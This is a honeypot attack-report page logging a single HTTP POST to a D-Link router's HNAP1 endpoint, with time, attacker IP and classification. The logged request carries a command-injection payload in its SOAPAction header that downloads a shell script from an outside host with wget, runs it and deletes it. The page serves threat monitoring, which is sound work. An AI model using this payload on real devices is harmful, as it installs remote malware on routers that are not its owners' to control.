Honeypots.tk

Attack Report for Detail

Header

Time

2023/05/18, 02:21:10 (GMT)

Transaction ID

IJLKQRTNXKPSQ4VV

Service

http

Location

NL (Netherlands)

Attacker

193.35.18.65

Classification

D-link overflow

Harm Potential

High

Description

D-Link DIR-850L web admin interface contains a stack-based buffer overflow vulnerability

Content

POST /HNAP1/ HTTP/1.1
Host: 65.109.132.161:80
User-Agent: Mozila/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`cd && cd tmp && export PATH=$PATH:. && cd /tmp;wget http://141.98.10.75/sh;chmod 777 sh;sh sh roots.dlink;rm -rf sh`"
Content-Length: 0

All details are coming from honeypot central database.

Please share your wishes, opinions and suggestions with us:

If you like, you can support
with your donations to us..

Donate

honeypots.tk ©2020